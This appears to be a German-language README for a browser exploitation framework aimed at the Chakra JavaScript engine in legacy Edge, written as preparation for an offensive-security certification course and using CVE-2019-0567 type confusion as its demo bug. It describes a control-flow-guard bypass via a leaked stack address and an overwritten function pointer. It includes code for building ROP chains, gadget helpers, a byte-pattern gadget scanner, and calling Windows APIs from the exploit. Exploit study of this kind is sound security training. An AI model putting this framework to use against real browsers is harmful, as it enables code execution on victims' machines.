Browser-Exploitation-Framework für Chakra (Edge). Geschrieben als Teil der OSEE-Vorbereitung. Demo-Fehler: CVE-2019-0567
Dieses Repository enthält das Browser Exploitation Framework, das ich zur Vorbereitung auf meinen EXP-401 Kurs geschrieben habe. Das Framework zielt auf die Chakra-Engine ab, die bis zur Umstellung auf v8 im Jahr 2019 Teil von Edge war.
Die im Framework verwendete Demo-Schwachstelle ist die CVE-2019-0567 Type-Confusion.

Um dieses Framework benutzerfreundlich zu gestalten, habe ich einige nützliche Funktionen geschrieben, die die Implementierung zukünftiger Sandbox-Escapes unglaublich einfach machen.
Das Framework erlaubt es, Windows-APIs auf einer hohen Ebene aufzurufen. Es verwendet eine GetProcAddress ROP-Kette, um jede API aufzulösen, und erlaubt bis zu vier Parameter.
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
Die von mir verwendete CFG-Umgehung war die leafInterpreterFrame Technik. Durch das Durchlaufen einiger Objekte können Sie eine Stack-Adresse leaken. Von dort aus können Sie einen Funktionszeiger jagen, überschreiben und die Ausführung erlangen. Die Portierung auf meine Version von Chakra war etwas knifflig, daher habe ich einen Blog darüber geschrieben hier.
Ein Freund zeigte mir eine wirklich schöne Technik, um die Rückkehr ins JavaScript-Land sehr einfach zu gestalten. Sie umschließen ihre CFG-Umgehung mit einem [1].map() Aufruf, was bedeutet, dass sie die Ausführung in ihrer übergeordneten Funktion fortsetzen können – das macht den Code viel sauberer. Ein Beispiel dafür finden Sie hier
Viele Windows-APIs erfordern ausgerichtete Parameter und Puffer. Früher habe ich Windows-APIs aufgerufen, indem ich Parameter im .data Abschnitt bereitgestellt habe – das war sehr mühsam. Schließlich schrieb ich meinen eigenen Speicherzuweiser, der VirtualAlloc in ROP aufruft und dann anderen Objekten erlaubt, Speicher aus dem Puffer mit malloc zu allozieren. Der Speicherzuweiser gibt immer ausgerichtete Puffer zurück!
Die Art, wie ROP-Ketten geschrieben werden, ist wie folgt:
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
Die zugrundeliegenden ROP-Gadgets sind als kleine Funktionen implementiert:
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
Auf diese Weise können wir komplexere Ketten von Gadgets erstellen, um eine Aktion auf höherer Ebene wie pop r9 durchzuführen. Es gab kein schönes Gadget, daher wird es als Kombination einiger weniger implementiert:
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
Um die Portabilität des Frameworks zu erhöhen, gibt es auch einen ROP-Muster-Scanner. Er verwendet das read-Primitiv, um nach einer Byte-Sequenz zu suchen, die die erforderliche Kette bildet.
Es gibt auch einen globalen Cache, der die Leistung des Scanners drastisch verbessert.
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}